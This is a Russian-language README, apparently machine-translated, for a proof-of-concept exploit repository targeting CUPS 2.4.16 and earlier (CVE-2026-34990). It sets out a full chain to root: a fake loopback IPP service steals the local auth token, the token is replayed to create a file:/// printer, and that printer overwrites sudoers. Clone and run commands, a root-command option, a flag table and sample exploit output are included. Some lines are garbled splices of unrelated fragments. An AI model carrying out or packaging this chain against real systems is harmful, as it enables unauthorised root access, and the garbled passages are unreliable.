
CVE-2026-34990 — CUPS <= 2.4.16 Локальное повышение привилегий
Локальный непривилегированный пользователь → root, через утёкший токен авторизации CUPS
Localи обходящую политику очередь печатиfile:///.PoC от 0xcybersoldier
CVE-2026-34990 — это уязвимость локального повышения привилегий в OpenPrinting CUPS, затрагивающая версии 2.4.16 и более ранние.
Локальный непривилегированный пользователь, имеющий доступ к демону CUPS (cupsd), может потенциально заставить его пройти аутентификацию на контролируемом злоумышленником сервисе IPP на интерфейсе loopback.
Полученный учётный данные Authorization: Local <token> затем могут быть повторно использованы против административного интерфейса CUPS.
Цепочка атаки в конечном итоге может быть использована для создания очереди печати file:/// и заставить cupsd записать контролируемый злоумышленником файл с привилегиями root.
Каноническая демонстрация использует drop-in файл sudoers для получения root-оболочки.
Этот репозиторий содержит однофайловый PoC на Python 3, реализующий цепочку атаки, включая более безопасный режим --check для демонстрации уязвимого поведения записи файлов без непосредственного создания постоянной конфигурации повышения привилегий.
| Поле | Значение |
|---|---|
| CVE ID | CVE-2026-34990 |
| Компонент | OpenPrinting CUPS (cupsd) |
| Затронутые версии | <= 2.4.16 |
| Класс уязвимости | CWE-306 / CWE-284 |
| Воздействие | Локальное повышение привилегий |
| Вектор атаки | Локальный |
| Требуемые привилегии | Низкие |
| Взаимодействие с пользователем | Отсутствует |
| Обнаружено | Asim Viladi Oglu Manizada |
| Рекомендация | GHSA-c54j-2vqw-wpwp |
PoC нацелен на:
OpenPrinting CUPS <= 2.4.16
Проверьте локально запущенную версию CUPS:
curl -sI http://127.0.0.1:631 | grep -i '^Server:'
Пример:
Server: CUPS/2.4.16 IPP/2.1
Примечание: Проверьте актуальную рекомендацию upstream перед тем, как полагаться на диапазон затронутых версий в производственном исследовании, поскольку исправления поставщика и статус версий могут измениться.
[1] Локальный пользователь отправляет CUPS-Create-Local-Printer
|
| device-uri = ipp://127.0.0.1:9189/ipp/print
v
[2] cupsd подключается к контролируемому злоумышленником
сервису IPP на loopback
|
v
[3] Поддельный сервис IPP отвечает:
401 Unauthorized
WWW-Authenticate: Local trc="y"
|
v
[4] CUPS/libcups повторяет запрос с:
Authorization: Local <token>
|
v
[5] Токен перехвачен
|
v
[6] Токен повторно используется против административного интерфейса CUPS
|
v
[7] Создаётся временный принтер file:// и
переводится через рабочий процесс управления принтерами
|
v
[8] Print-Job заставляет cupsd записать предоставленный
документ в цель file://
|
v
[9] Демонстрационная полезная нагрузка может изменить привилегированную
конфигурацию, такую как sudoers
|
v
ROOT
127.0.0.1:631sudo доступен для демонстрации повышения привилегийВнешние пакеты Python не требуются.
Клонируйте репозиторий:
git clone https://github.com/bara-almustafa/CVE-2026-34990-poc.git
cd CVE-2026-34990-poc
Сделайте PoC исполняемым:
chmod +x cve-2026-34990.py
Дополнительные зависимости не требуются.
Начните с непостоянного режима проверки:
./cve-2026-34990.py --check
Режим проверки пытается продемонстрировать уязвимый примитив записи файла, принадлежащего root, используя временный проверочный файл, и очищает после теста.
Режим по умолчанию демонстрирует полную цепочку повышения привилегий:
./cve-2026-34990.py
Команду можно указать с помощью:
./cve-2026-34990.py -c 'id'
Пример:
./cve-2026-34990.py -c 'id; whoami'
| Флаг | По умолчанию | Описание |
|---|---|---|
--cups-port | 631 | Локальный TCP-порт CUPS |
--listen-port | 9189 | Порт loopback, используемый слушателем перехвата токена |
--check | Выкл | Безопасный режим проверки |
-c, --command | — | Выполнить команду после успешной эксплуатации |
--proof-dir | /var/tmp | Родительский каталог для временных проверочных файлов |
--attempts | 8 | Количество попыток записи файла |
--iterations | 80 | Количество раундов запросов IPP на попытку |
$ ./cve-2026-34990.py --check
██████╗ ██╗ ██╗ ██████╗██╗ ██╗██████╗ ███████╗██████╗ ███████╗ ██████╗ ██╗ ██████╗ ██╗███████╗██████╗
██╔═████╗╚██╗██╔╝██╔════╝╚██╗ ██╔╝██╔══██╗██╔════╝██╔══██╗██╔════╝██╔═══██╗██║ ██╔══██╗██║██╔════╝██╔══██╗
██║██╔██║ ╚███╔╝ ██║ ╚████╔╝ ██████╔╝███████╗██████╔╝█████╗ ██║ ██║██║ ██║ ██║██║█████╗ ██████╔╝
████╔╝██║ ██╔██╗ ██║ ╚██╔╝ ██╔══██╗╚════██║██╔══██╗██╔══╝ ██║ ██║██║ ██║ ██║██║██╔══╝ ██╔══██╗
╚██████╔╝██╔╝ ██╗╚██████╗ ██║ ██████╔╝███████║██║ ██║███████╗╚██████╔╝███████╗██████╔╝██║███████╗██║ ██║
╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝╚══════╝ ╚═════╝ ╚══════╝╚═════╝ ╚═╝╚══════╝╚═╝ ╚═╝
CVE-2026-34990 :: CUPS <= 2.4.16 Локальное повышение привилегий
PoC от 0xcybersoldier
[*] Запуск утечки токена CUPS...
[+] Перехвачен токен авторизации CUPS Local
[*] Гонка записи файла: попытка 1/8
[+] УЯЗВИМО: CUPS записал проверочный файл, принадлежащий root
PoC создаёт временный принтер CUPS, чей device-uri указывает на контролируемый злоумышленником слушатель IPP на интерфейсе loopback.
Пример:
ipp://127.0.0.1:9189/ipp/print
Локальный слушатель отвечает запросом аутентификации:
401 Unauthorized
WWW-Authenticate: Local trc="y"
Это заставляет взаимодействие клиента/сервера CUPS повторить запрос с использованием механизма локальной аутентификации.
PoC перехватывает полученные учётные данные:
Authorization: Local <token>